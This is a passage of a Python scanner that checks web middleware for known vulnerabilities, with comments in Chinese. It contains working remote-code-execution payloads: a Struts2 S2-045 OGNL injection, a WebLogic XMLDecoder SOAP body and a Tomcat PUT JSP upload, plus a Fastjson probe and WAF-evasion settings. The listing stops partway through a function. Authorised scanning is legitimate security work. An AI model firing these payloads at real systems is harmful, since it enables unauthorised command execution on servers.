#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Middleware Vulnerability Hunter Pro v2.0
------------------------------------------
一款集成的中间件漏洞检测框架，用于识别 WebLogic, Struts2, Shiro, Tomcat, IIS 等
常见中间件的安全配置错误和反序列化漏洞风险。

设计理念: 指纹识别 -> 定向检测 -> 无害化POC验证
作者: Security Engineering Team
用途: 授权渗透测试与教育
"""

import requests
import argparse
import sys
import time
import json
import threading
import re
import random
import hashlib
import base64
import urllib.parse
from urllib.parse import urlparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import Fore, Style, init
import tkinter as tk
from tkinter import ttk, messagebox, scrolledtext, filedialog
from datetime import datetime
import webbrowser
import os

# 初始化
init(autoreset=True)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ===========================
# 配置与工具类
# ===========================

class ConfigurationManager:
    """配置管理器"""
    def __init__(self, config_file="mvh_config.json"):
        self.config_file = config_file
        self.load_config()
    
    def load_config(self):
        default_config = {
            "timeout": 15,
            "threads": 10,
            "min_threads": 3,
            "max_threads": 30,
            "delay_range": [0.5, 1.5],
            "max_retries": 3,
            "user_agents": [
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
                "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
            ],
            "scan_strategies": {
                "shiro": True,
                "struts2": True,
                "weblogic": True,
                "tomcat": True,
                "iis": True,
                "springboot": True,
                "jboss": True,
                "nginx": True,
                "apache": True,
                "fastjson": True,
                "druid": True
            },
            "waf_evasion": {
                "random_user_agent": True,
                "random_delay": True,
                "proxy_rotation": False,
                "traffic_obfuscation": True
            },
            "exploit_enabled": False,
            "auto_clean": True,
            "verify_vulnerabilities": True,
            "save_logs": True
        }
        
        try:
            with open(self.config_file, 'r') as f:
                saved_config = json.load(f)
                self.config = {**default_config, **saved_config}
        except:
            self.config = default_config
    
    def save_config(self):
        try:
            with open(self.config_file, 'w') as f:
                json.dump(self.config, f, indent=2)
        except Exception as e:
            print(f"配置保存失败: {e}")

class AdaptiveThreadPool:
    """自适应线程池"""
    def __init__(self, base_threads=10, min_threads=3, max_threads=30):
        self.base_threads = base_threads
        self.min_threads = min_threads
        self.max_threads = max_threads
        self.current_threads = base_threads
        self.response_times = []
        self.lock = threading.Lock()
    
    def adjust_threads(self, response_time):
        """根据响应时间调整线程数"""
        with self.lock:
            self.response_times.append(response_time)
            
            # 保留最近10次记录
            if len(self.response_times) > 10:
                self.response_times.pop(0)
            
            # 计算平均响应时间
            if self.response_times:
                avg_time = sum(self.response_times) / len(self.response_times)
                
                # 动态调整
                if avg_time > 5:  # 响应慢，减少线程
                    self.current_threads = max(self.min_threads, self.current_threads - 2)
                elif avg_time < 1:  # 响应快，增加线程
                    self.current_threads = min(self.max_threads, self.current_threads + 2)
            
            return self.current_threads

class RequestCache:
    """请求缓存"""
    def __init__(self):
        self.cache = {}
    
    def get(self, key):
        if key in self.cache:
            timestamp, response = self.cache[key]
            if time.time() - timestamp < 300:  # 5分钟缓存
                return response
        return None
    
    def set(self, key, response):
        self.cache[key] = (time.time(), response)

class Logger:
    """线程安全的日志记录器"""
    _lock = threading.Lock()
    
    @staticmethod
    def log(msg, level="INFO", gui_widget=None):
        timestamp = time.strftime("%H:%M:%S")
        
        # 颜色定义
        colors = {
            "INFO": Fore.BLUE,
            "SUCCESS": Fore.GREEN,
            "WARNING": Fore.YELLOW,
            "ERROR": Fore.RED,
            "VULN": Fore.MAGENTA + Style.BRIGHT,
            "EXPLOIT": Fore.CYAN + Style.BRIGHT
        }
        color = colors.get(level, Fore.WHITE)
        
        console_msg = f"{color}[{timestamp}] [{level}] {msg}{Style.RESET_ALL}"
        
        with Logger._lock:
            print(console_msg)
            if gui_widget:
                gui_widget.insert(tk.END, f"[{timestamp}] [{level}] {msg}\n", level)
                gui_widget.see(tk.END)

def get_random_ua():
    config = ConfigurationManager()
    return random.choice(config.config['user_agents'])

# ===========================
# 核心检测模块 (Plugins)
# ===========================

class BasePlugin:
    """所有检测插件的基类"""
    def __init__(self, target_url, timeout=10, proxy=None, config=None):
        self.target_url = target_url
        self.timeout = timeout
        self.proxy = {'http': proxy, 'https': proxy} if proxy else None
        self.config = config or ConfigurationManager().config
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({'User-Agent': get_random_ua()})

    def check(self):
        raise NotImplementedError

class ShiroDetector(BasePlugin):
    """
    Apache Shiro 反序列化检测
    原理: 发送包含 rememberMe 的 Cookie，如果响应头返回 set-cookie: rememberMe=deleteMe，
    则极大概率使用了 Shiro，且可能存在默认 Key 导致的反序列化。
    """
    def check(self):
        try:
            headers = {'Cookie': 'rememberMe=123'}
            resp = self.session.get(self.target_url, headers=headers, proxies=self.proxy, timeout=self.timeout)
            
            # 检查响应头
            set_cookie = resp.headers.get('Set-Cookie', '')
            if 'rememberMe=deleteMe' in set_cookie:
                return [{
                    'vuln': 'Shiro Fingerprint/Deserialization Risk',
                    'detail': '发现 Shiro 特征 (rememberMe=deleteMe)，可能存在反序列化漏洞或默认 Key',
                    'severity': 'HIGH',
                    'type': 'Shiro'
                }]
        except Exception:
            pass
        return []

class Struts2Detector(BasePlugin):
    """
    Struts2 S2-045 检测
    原理: 通过修改 Content-Type 头触发 OGNL 异常，检测是否返回特定错误或执行结果。
    此处使用无害化检测：尝试计算简单的数学运算或检查报错特征。
    """
    def check(self):
        results = []
        try:
            # S2-045 Payload (执行简单的回显，非破坏性)
            payload = "%{(#_='=').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo VULN_S2_045').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            
            headers = {'Content-Type': payload}
            # 注意：S2-045 通常需要指向 .action 或 .do 结尾的 URL
            if not (self.target_url.endswith('.action') or self.target_url.endswith('.do')):
                # 如果不是 action 结尾，尝试猜测
                target = urljoin(self.target_url, "login.action")
            else:
                target = self.target_url

            resp = self.session.post(target, headers=headers, proxies=self.proxy, timeout=self.timeout)
            
            if "VULN_S2_045" in resp.text:
                results.append({
                    'vuln': 'Struts2 S2-045 RCE',
                    'detail': 'Content-Type OGNL 注入成功，可执行任意命令',
                    'severity': 'CRITICAL',
                    'type': 'Struts2'
                })
        except Exception:
            pass
        return results

class WebLogicDetector(BasePlugin):
    """
    WebLogic 常见漏洞检测
    1. 控制台暴露 (/console)
    2. XMLDecoder 反序列化 (CVE-2017-10271)
    3. CVE-2019-2725
    4. CVE-2020-14882
    """
    def check(self):
        results = []
        
        # 1. 检查控制台
        try:
            console_url = urljoin(self.target_url, "/console/login/LoginForm.jsp")
            resp = self.session.get(console_url, proxies=self.proxy, timeout=self.timeout)
            if resp.status_code == 200 and "WebLogic" in resp.text:
                results.append({
                    'vuln': 'WebLogic Console Exposed',
                    'detail': f'管理控制台对外开放: {console_url}',
                    'severity': 'MEDIUM',
                    'type': 'WebLogic'
                })
        except: pass

        # 2. 检查 CVE-2017-10271 (XMLDecoder)
        try:
            wls_wsat = urljoin(self.target_url, "/wls-wsat/CoordinatorPortType")
            # 这是一个无害的 Payload，仅尝试触发 XML 解析错误或回显
            payload = '''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
              <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                  <java>
                    <void class="java.lang.ProcessBuilder">
                      <array class="java.lang.String" length="3">
                        <void index="0"><string>/bin/bash</string></void>
                        <void index="1"><string>-c</string></void>
                        <void index="2"><string>echo VULN_WEBLOGIC_XML</string></void>
                      </array>
                      <void method="start"/>
                    </void>
                  </java>
                </work:WorkContext>
              </soapenv:Header>
              <soapenv:Body/>
            </soapenv:Envelope>
            '''
            headers = {'Content-Type': 'text/xml'}
            resp = self.session.post(wls_wsat, data=payload, headers=headers, proxies=self.proxy, timeout=self.timeout)
            
            # 注意：WebLogic 漏洞通常没有直接回显，这里简化为检查状态码或报错
            if resp.status_code == 500 and "<faultstring>" in resp.text:
                results.append({
                    'vuln': 'WebLogic XMLDecoder (Suspected)',
                    'detail': 'wls-wsat 接口存在，且对 XML Payload 产生 500 响应，建议使用 DNSLog 进一步验证 CVE-2017-10271',
                    'severity': 'HIGH',
                    'type': 'WebLogic'
                })
        except: pass

        # 3. 检查 CVE-2019-2725
        try:
            wls9_async = urljoin(self.target_url, "/_async/AsyncResponseService")
            resp = self.session.get(wls9_async, proxies=self.proxy, timeout=self.timeout)
            if resp.status_code == 200 and "AsyncResponseService" in resp.text:
                results.append({
                    'vuln': 'WebLogic AsyncResponseService (CVE-2019-2725)',
                    'detail': '发现 WebLogic AsyncResponseService 接口，可能存在反序列化漏洞',
                    'severity': 'HIGH',
                    'type': 'WebLogic'
                })
        except: pass

        # 4. 检查 CVE-2020-14882
        try:
            admin_console = urljoin(self.target_url, "/console/css/%252e%252e%252fconsole.portal")
            resp = self.session.get(admin_console, proxies=self.proxy, timeout=self.timeout)
            if resp.status_code == 200 and ("console" in resp.text.lower() or "weblogic" in resp.text.lower()):
                results.append({
                    'vuln': 'WebLogic Console Bypass (CVE-2020-14882)',
                    'detail': 'WebLogic 控制台路径绕过漏洞，可能存在未授权访问',
                    'severity': 'CRITICAL',
                    'type': 'WebLogic'
                })
        except: pass

        return results

class TomcatDetector(BasePlugin):
    """
    Tomcat 漏洞检测
    1. PUT 方法上传 (CVE-2017-12615)
    2. Manager 后台检测
    3. CVE-2020-1938 (Ghostcat)
    """
    def check(self):
        results = []
        
        # 1. CVE-2017-12615 (PUT jsp/)
        try:
            test_filename = f"test_{int(time.time())}.jsp/"
            target = urljoin(self.target_url, test_filename)
            body = '<% out.println("VULN_TOMCAT_PUT"); %>'
            resp = self.session.put(target, data=body, proxies=self.proxy, timeout=self.timeout)
            
            if resp.status_code in [200, 201, 204]:
                # 验证是否上传成功
                verify_url = target[:-1] # 去掉末尾的 /
                verify_resp = self.session.get(verify_url, proxies=self.proxy, timeout=self.timeout)
                if "VULN_TOMCAT_PUT" in verify_resp.text:
                    results.append({
                        'vuln': 'Tomcat PUT Upload (CVE-2017-12615)',
                        'detail': f'成功通过 PUT 方法上传 JSP 文件: {verify_url}',
                        'severity': 'CRITICAL',
                        'type': 'Tomcat'
                    })
        except: pass

        # 2. Manager App
        try:
            manager_url = urljoin(self.target_url, "/manager/html")
            # 不带认证访问，看是否弹 401
            resp = self.session.get(manager_url, proxies=self.proxy, timeout=self.timeout)
            if resp.status_code == 401:
                results.append({
                    'vuln': 'Tomcat Manager Exposed',
                    'detail': '发现 Tomcat Manager 接口，建议进行弱口令爆破',
                    'severity': 'MEDIUM',
                    'type': 'Tomcat'
                })
        except: pass

        # 3. CVE-2020-1938 (Ghostcat)
        try:
            ajp_url = urljoin(self.target_url, "/examples/servlets/servlet/HelloWorldExample")
            # 这个漏洞需要AJP协议，这里简化为检测AJP端口
            # 实际检测需要专门的AJP协议实现
            # 这里检测常见的AJP端口开放
            import socket
            parsed = urlparse(self.target_url)
            host = parsed.hostname
            port = parsed.port or (443 if parsed.scheme == 'https' else 80)
            
            # 尝试连接常见的AJP端口
            ajp_ports = [8009, 8010, 8011]
            for ajp_port in ajp_ports:
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(3)
                    result = sock.connect_ex((host, ajp_port))
                    if result == 0:
                        results.append({
                            'vuln': 'Tomcat AJP Port Exposed (CVE-2020-1938)',
                            'detail': f'AJP端口 {ajp_port} 开放，可能存在Ghostcat漏洞',
                            'severity': 'HIGH',
                            'type': 'Tomcat'
                        })
                        break
                    sock.close()
                except:
                    continue
        except: pass

        return results

class IISDetector(BasePlugin):
    """
    IIS 短文件名泄露检测
    原理: IIS 对特定的波浪号文件名请求返回不同的状态码 (通常是 404 vs 400 或其他差异)
    """
    def check(self):
        results = []
        try:
            # 这是一个简化的检测逻辑
            # 正常不存在的文件
            base_url = self.target_url.rstrip('/')
            resp_normal = self.session.get(f"{base_url}/NonExistFile_{int(time.time())}.html", proxies=self.proxy)
            
            # 尝试短文件名特征 *~1*
            resp_short = self.session.get(f"{base_url}/*~1*/a.aspx", proxies=self.proxy)
            
            # 如果使用了 IIS 且配置不当，带通配符的请求通常会返回 404，而完全不对的路径可能返回其他
            if resp_short.status_code == 404 and "IIS" in resp_short.headers.get("Server", ""):
                results.append({
                    'vuln': 'IIS Short Filename Leak (Potential)',
                    'detail': '服务器响应了包含通配符 *~1* 的请求，可能存在短文件名泄露风险',
                    'severity': 'LOW',
                    'type': 'IIS'
                })
        except: pass
        return results

class SpringBootDetector(BasePlugin):
    """Spring Boot 检测"""
    def check(self):
        results = []
        
        # 检测Spring Boot端点
        endpoints = [
            "/actuator", "/actuator/health", "/actuator/env", "/actuator/mappings",
            "/actuator/beans", "/actuator/trace", "/actuator/metrics", "/actuator/configprops",
            "/actuator/dump", "/actuator/heapdump", "/actuator/logfile", "/actuator/info",
            "/actuator/autoconfig", "/actuator/auditevents", "/actuator/env", "/actuator/conditions"
        ]
        
        for endpoint in endpoints:
            try:
                url = urljoin(self.target_url, endpoint)
                resp = self.session.get(url, proxies=self.proxy, timeout=self.timeout)
                
                if resp.status_code == 200 and ("application/json" in resp.headers.get("Content-Type", "") or "spring" in resp.text.lower()):
                    results.append({
                        'vuln': f'Spring Boot Actuator Exposed ({endpoint})',
                        'detail': f'Spring Boot Actuator 端点暴露: {url}',
                        'severity': 'MEDIUM',
                        'type': 'SpringBoot'
                    })
                    break  # 找到一个就足够了
            except: pass
        
        # 检测Spring Boot错误页面
        try:
            error_url = urljoin(self.target_url, "/error")
            resp = self.session.get(error_url, proxies=self.proxy, timeout=self.timeout)
            if "Whitelabel Error Page" in resp.text:
                results.append({
                    'vuln': 'Spring Boot Whitelabel Error Page',
                    'detail': '发现 Spring Boot 默认错误页面，可能泄露框架信息',
                    'severity': 'LOW',
                    'type': 'SpringBoot'
                })
        except: pass
        
        return results

class JBossDetector(BasePlugin):
    """JBoss 检测"""
    def check(self):
        results = []
        
        # 检测JBoss控制台
        jboss_urls = [
            "/jmx-console", "/web-console", "/admin-console", "/invoker/JMXInvokerServlet",
            "/jbossmq-httpil/HTTPServerILServlet", "/jbossmq-httpil", "/status"
        ]
        
        for jboss_url in jboss_urls:
            try:
                url = urljoin(self.target_url, jboss_url)
                resp = self.session.get(url, proxies=self.proxy, timeout=self.timeout)
                
                if resp.status_code == 200 and ("jboss" in resp.text.lower() or "jmx" in resp.text.lower()):
                    results.append({
                        'vuln': f'JBoss Console Exposed ({jboss_url})',
                        'detail': f'JBoss 控制台暴露: {url}',
                        'severity': 'MEDIUM',
                        'type': 'JBoss'
                    })
            except: pass
        
        return results

class NginxDetector(BasePlugin):
    """Nginx 检测"""
    def check(self):
        results = []
        
        # 检测Nginx版本信息泄露
        try:
            resp = self.session.get(self.target_url, proxies=self.proxy, timeout=self.timeout)
            server_header = resp.headers.get("Server", "")
            
            if "nginx" in server_header.lower():
                results.append({
                    'vuln': 'Nginx Server Header',
                    'detail': f'Nginx 服务器信息泄露: {server_header}',
                    'severity': 'LOW',
                    'type': 'Nginx'
                })
                
                # 检测CRLF注入
                headers = {"%0d%0aX-Injection": "test"}
                resp2 = self.session.get(self.target_url, headers=headers, proxies=self.proxy, timeout=self.timeout)
                
                if "X-Injection" in resp2.text:
                    results.append({
                        'vuln': 'Nginx CRLF Injection',
                        'detail': 'Nginx 存在 CRLF 注入漏洞',
                        'severity': 'MEDIUM',
                        'type': 'Nginx'
                    })
        except: pass
        
        return results

class ApacheDetector(BasePlugin):
    """Apache 检测"""
    def check(self):
        results = []
        
        # 检测Apache版本信息泄露
        try:
            resp = self.session.get(self.target_url, proxies=self.proxy, timeout=self.timeout)
            server_header = resp.headers.get("Server", "")
            
            if "apache" in server_header.lower():
                results.append({
                    'vuln': 'Apache Server Header',
                    'detail': f'Apache 服务器信息泄露: {server_header}',
                    'severity': 'LOW',
                    'type': 'Apache'
                })
                
                # 检测mod_status泄露
                status_urls = ["/server-status", "/status", "/mod_status"]
                for status_url in status_urls:
                    try:
                        status_resp = self.session.get(urljoin(self.target_url, status_url), proxies=self.proxy, timeout=self.timeout)
                        if status_resp.status_code == 200 and "Apache Server Status" in status_resp.text:
                            results.append({
                                'vuln': f'Apache Server Status Exposed ({status_url})',
                                'detail': f'Apache 服务器状态页面暴露: {urljoin(self.target_url, status_url)}',
                                'severity': 'MEDIUM',
                                'type': 'Apache'
                            })
                            break
                    except: pass
        except: pass
        
        return results

class FastjsonDetector(BasePlugin):
    """Fastjson 检测"""
    def check(self):
        results = []
        
        # 通过POST请求发送Fastjson可能的payload
        try:
            # 发送可能触发Fastjson解析的JSON数据
            payload = '{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}'
            headers = {'Content-Type': 'application/json'}
            
            resp = self.session.post(self.target_url, data=payload, headers=headers, proxies=self.proxy, timeout=self.timeout)
            
            # 检查是否出现Fastjson特有的错误或响应
            if "fastjson" in resp.text.lower() or "JSONException" in resp.text or resp.status_code in [400, 500]:
                results.append({
                    'vuln': 'Fastjson Deserialization Risk',
                    'detail': '目标可能使用Fastjson，存在反序列化风险',
                    'severity': 'HIGH',
                    'type': 'Fastjson'
                })
        except: pass
        
        return results

class DruidDetector(BasePlugin):
    """Druid 检测"""
    def check(self):
        results = []
        
        # 检测Druid监控页面
        druid_urls = [
            "/druid/index.html", "/druid/login.html", "/druid/sql.html",
            "/druid/websession.html", "/druid/datasource.html", "/druid/wall.html"
        ]
        
        for druid_url in druid_urls:
            try:
                url = urljoin(self.target_url, druid_url)
                resp = self.session.get(url, proxies=self.proxy, timeout=self.timeout)
                
                if resp.status_code == 200 and ("druid" in resp.text.lower() or "监控" in resp.text):
                    results.append({
                        'vuln': f'Druid Monitor Exposed ({druid_url})',
                        'detail': f'Druid 监控页面暴露: {url}',
                        'severity': 'MEDIUM',
                        'type': 'Druid'
                    })
            except: pass
        
        return results

# ===========================
# 漏洞验证引擎
# ===========================

class VulnerabilityVerifier:
    """漏洞验证引擎"""
    
    def __init__(self, scanner):
        self.scanner = scanner
    
    def verify_vulnerability(self, target, vuln_info):
        """验证漏洞"""
        Logger.log(f"验证漏洞: {vuln_info['vuln']} 在 {target}", "INFO")
        
        # 生成验证token
        verification_token = f"VERIFY_{hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
        
        try:
            if vuln_info['type'] == 'Shiro':
                return self.verify_shiro(target, verification_token)
            elif vuln_info['type'] == 'Struts2':
                return self.verify_struts2(target, verification_token)
            elif vuln_info['type'] == 'WebLogic':
                return self.verify_weblogic(target, verification_token)
            elif vuln_info['type'] == 'Tomcat':
                return self.verify_tomcat(target, verification_token)
            else:
                # 默认验证逻辑
                return self.verify_generic(target, verification_token)
        except Exception as e:
            Logger.log(f"验证失败: {e}", "ERROR")
            return False
    
    def verify_shiro(self, target, token):
        """验证Shiro漏洞"""
        try:
            # 发送验证payload
            payload = f"verify_{token}"
            headers = {'Cookie': f'rememberMe={payload}'}
            resp = self.scanner.session.get(target, headers=headers, timeout=10)
            
            # 检查响应
            set_cookie = resp.headers.get('Set-Cookie', '')
            if 'rememberMe=deleteMe' in set_cookie:
                return True
        except: pass
        return False
    
    def verify_struts2(self, target, token):
        """验证Struts2漏洞"""
        try:
            # 构造验证payload
            payload = f"%{{(#_='=').(#cmd='echo {token}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:{{'/bin/bash','-c',#cmd}})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}}"
            
            headers = {'Content-Type': payload}
            resp = self.scanner.session.post(target, headers=headers, timeout=10)
            
            if token in resp.text:
                return True
        except: pass
        return False
    
    def verify_weblogic(self, target, token):
        """验证WebLogic漏洞"""
        # WebLogic验证较为复杂，这里简化处理
        try:
            # 检查是否存在WebLogic特征
            resp = self.scanner.session.get(target, timeout=10)
            if "weblogic" in resp.text.lower() or "bea" in resp.text.lower():
                return True
        except: pass
        return False
    
    def verify_tomcat(self, target, token):
        """验证Tomcat漏洞"""
        try:
            # 检查Tomcat特征
            resp = self.scanner.session.get(target, timeout=10)
            server_header = resp.headers.get("Server", "")
            if "tomcat" in server_header.lower() or "apache" in server_header.lower():
                return True
        except: pass
        return False
    
    def verify_generic(self, target, token):
        """通用验证方法"""
        try:
            resp = self.scanner.session.get(target, timeout=10)
            return resp.status_code == 200
        except: pass
        return False

# ===========================
# 扫描控制器
# ===========================

class MiddlewareScanner:
    def __init__(self, targets, threads=5, proxy=None):
        self.targets = targets
        self.threads = threads
        self.proxy = proxy
        self.results = []
        self.vulnerabilities = []
        self.lock = threading.Lock()
        self.config = ConfigurationManager().config
        self.thread_pool = AdaptiveThreadPool(
            base_threads=self.config['threads'],
            min_threads=self.config['min_threads'],
            max_threads=self.config['max_threads']
        )
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({'User-Agent': get_random_ua()})
        self.scan_paused = threading.Event()
        self.scan_paused.set()  # 初始为运行状态
        self.total_targets = len(targets)
        self.completed_targets = 0

    def scan_target(self, url):
        """对单个目标运行所有插件"""
        if not self.scan_paused.is_set():
            return  # 检查暂停状态
        
        Logger.log(f"开始检测: {url}", "INFO")
        
        # 自动修正 URL
        if not url.startswith("http"):
            url = f"http://{url}"
        
        # 根据配置选择插件
        plugins = []
        if self.config['scan_strategies']['shiro']:
            plugins.append(ShiroDetector)
        if self.config['scan_strategies']['struts2']:
            plugins.append(Struts2Detector)
        if self.config['scan_strategies']['weblogic']:
            plugins.append(WebLogicDetector)
        if self.config['scan_strategies']['tomcat']:
            plugins.append(TomcatDetector)
        if self.config['scan_strategies']['iis']:
            plugins.append(IISDetector)
        if self.config['scan_strategies']['springboot']:
            plugins.append(SpringBootDetector)
        if self.config['scan_strategies']['jboss']:
            plugins.append(JBossDetector)
        if self.config['scan_strategies']['nginx']:
            plugins.append(NginxDetector)
        if self.config['scan_strategies']['apache']:
            plugins.append(ApacheDetector)
        if self.config['scan_strategies']['fastjson']:
            plugins.append(FastjsonDetector)
        if self.config['scan_strategies']['druid']:
            plugins.append(DruidDetector)
        
        target_vulns = []
        
        for PluginClass in plugins:
            try:
                if not self.scan_paused.is_set():
                    break  # 检查暂停状态
                plugin = PluginClass(url, proxy=self.proxy, config=self.config)
                result = plugin.check()
                
                if result:
                    target_vulns.extend(result)
            except Exception as e:
                Logger.log(f"插件执行错误: {e}", "ERROR")
                pass
        
        # 验证漏洞（如果启用）
        if target_vulns and self.config['verify_vulnerabilities']:
            verifier = VulnerabilityVerifier(self)
            verified_vulns = []
            for vuln in target_vulns:
                if verifier.verify_vulnerability(url, vuln):
                    verified_vulns.append(vuln)
                    Logger.log(f"漏洞已验证: {vuln['vuln']}", "SUCCESS")
                else:
                    Logger.log(f"漏洞验证失败: {vuln['vuln']}", "WARNING")
            target_vulns = verified_vulns
        
        if target_vulns:
            with self.lock:
                self.vulnerabilities.extend([{**v, 'url': url} for v in target_vulns])
                for v in target_vulns:
                    Logger.log(f"[{v['severity']}] {url} - {v['vuln']}", "VULN")
        else:
            Logger.log(f"未发现明显漏洞: {url}", "INFO")
        
        # 更新进度
        with self.lock:
            self.completed_targets += 1
            progress = (self.completed_targets / self.total_targets) * 100
            print(f"\r进度: {progress:.1f}% ({self.completed_targets}/{self.total_targets})", end='', flush=True)

    def run(self):
        Logger.log(f"加载目标: {len(self.targets)} 个", "INFO")
        Logger.log(f"启动线程池 (Threads: {self.threads})...", "INFO")
        
        with ThreadPoolExecutor(max_workers=self.thread_pool.current_threads) as executor:
            futures = [executor.submit(self.scan_target, url) for url in self.targets]
            for future in as_completed(futures):
                pass
        
        # 换行以显示完整进度
        print()
        self.generate_report()
        return self.vulnerabilities

    def generate_report(self):
        Logger.log("扫描完成，生成报告...", "SUCCESS")
        
        if not self.vulnerabilities:
            Logger.log("系统安全：未检测到支持的中间件漏洞。", "SUCCESS")
            return

        # 打印详细报告
        print(f"\n{Fore.RED}发现 {len(self.vulnerabilities)} 个安全风险:{Style.RESET_ALL}")
        for res in self.vulnerabilities:
            color = Fore.RED if res['severity'] == 'CRITICAL' else (Fore.YELLOW if res['severity'] == 'HIGH' else Fore.CYAN)
            print(f"{color}[{res['severity']}] {res['vuln']}")
            print(f"  URL: {res['url']}")
            print(f"  详情: {res['detail']}")
            print(f"{Style.RESET_ALL}{'-'*40}")

        # 保存 JSON
        filename = f"mvh_report_{int(time.time())}.json"
        with open(filename, 'w', encoding='utf-8') as f:
            json.dump(self.vulnerabilities, f, indent=4, ensure_ascii=False)
        Logger.log(f"JSON 报告已保存: {filename}", "SUCCESS")

# ===========================
# CLI界面
# ===========================

class InteractiveCLI:
    def show_welcome(self):
        """显示欢迎界面"""
        banner = f"""
{Fore.CYAN}    __  ____    ____       __  __            __           
   /  |/  / |  / / /_     / / / /_  ______  / /____  _____
  / /|_/ /| | / / __ \   / /_/ / / / / __ \/ __/ _ \/ ___/
 / /  / / | |/ / / / /  / __  / /_/ / / / / /_/  __/ /    
/_/  /_/  |___/_/ /_/  /_/ /_/\__,_/_/ /_/\__/\___/_/     
                                                          
    Middleware Vulnerability Hunter Pro v2.0
    专业级中间件漏洞检测与评估系统
    仅用于授权的安全测试和教育目的
{Style.RESET_ALL}"""
        print(banner)

    def show_menu(self):
        """显示主菜单"""
        menu = f"""
{Fore.GREEN}请选择操作:{Style.RESET_ALL}
1. 快速扫描 (自动检测)
2. 高级扫描 (自定义配置)
3. 漏洞验证
4. 生成报告
5. 配置管理
6. 历史记录
7. 关于/帮助
8. 退出
"""
        print(menu)

    def get_user_input(self, prompt, default=None):
        """获取用户输入"""
        if default:
            prompt = f"{prompt} (默认: {default})"
        user_input = input(f"{Fore.YELLOW}{prompt}: {Style.RESET_ALL}")
        return user_input if user_input else default

    def run(self):
        """运行CLI"""
        self.show_welcome()
        
        print(f"{Fore.YELLOW}法律声明: 本工具仅供授权测试使用，禁止用于非法攻击。{Style.RESET_ALL}\n")
        
        while True:
            self.show_menu()
            try:
                choice = input(f"{Fore.GREEN}请选择 [1-8]: {Style.RESET_ALL}").strip()
                
                if choice == '1':
                    self.quick_scan()
                elif choice == '2':
                    self.advanced_scan()
                elif choice == '3':
                    self.verify_vulnerabilities()
                elif choice == '4':
                    self.generate_report()
                elif choice == '5':
                    self.config_management()
                elif choice == '6':
                    self.view_history()
                elif choice == '7':
                    self.show_help()
                elif choice == '8':
                    print(f"{Fore.CYAN}感谢使用，再见!{Style.RESET_ALL}")
                    break
                else:
                    print(f"{Fore.RED}无效选择，请输入 1-8{Style.RESET_ALL}")
                    continue
            except KeyboardInterrupt:
                print(f"\n{Fore.RED}用户中断，退出程序。{Style.RESET_ALL}")
                break
            except EOFError:
                print(f"\n{Fore.RED}输入结束，退出程序。{Style.RESET_ALL}")
                break

    def quick_scan(self):
        """快速扫描"""
        print(f"\n{Fore.CYAN}快速扫描模式{Style.RESET_ALL}")
        url = input(f"{Fore.YELLOW}请输入目标URL: {Style.RESET_ALL}").strip()
        if not url:
            print(f"{Fore.RED}URL不能为空{Style.RESET_ALL}")
            return
        
        print(f"{Fore.GREEN}开始快速扫描: {url}{Style.RESET_ALL}")
        targets = [url]
        scanner = MiddlewareScanner(targets)
        vulnerabilities = scanner.run()
        
        print(f"\n{Fore.GREEN}扫描完成，发现 {len(vulnerabilities)} 个漏洞{Style.RESET_ALL}")
        for vuln in vulnerabilities:
            print(f"{Fore.RED}[{vuln['severity']}] {vuln['vuln']}{Style.RESET_ALL}")
            print(f"  URL: {vuln['url']}")
            print(f"  详情: {vuln['detail']}")
            print()

    def advanced_scan(self):
        """高级扫描"""
        print(f"\n{Fore.CYAN}高级扫描配置{Style.RESET_ALL}")
        
        url = input(f"{Fore.YELLOW}目标URL: {Style.RESET_ALL}").strip()
        if not url:
            print(f"{Fore.RED}URL不能为空{Style.RESET_ALL}")
            return
        
        try:
            threads = int(input(f"{Fore.YELLOW}线程数 (默认10): {Style.RESET_ALL}") or "10")
            timeout = int(input(f"{Fore.YELLOW}超时时间(秒) (默认15): {Style.RESET_ALL}") or "15")
            proxy = input(f"{Fore.YELLOW}代理地址 (可选): {Style.RESET_ALL}").strip()
        except ValueError:
            print(f"{Fore.RED}输入格式错误，使用默认值{Style.RESET_ALL}")
            threads, timeout, proxy = 10, 15, ""

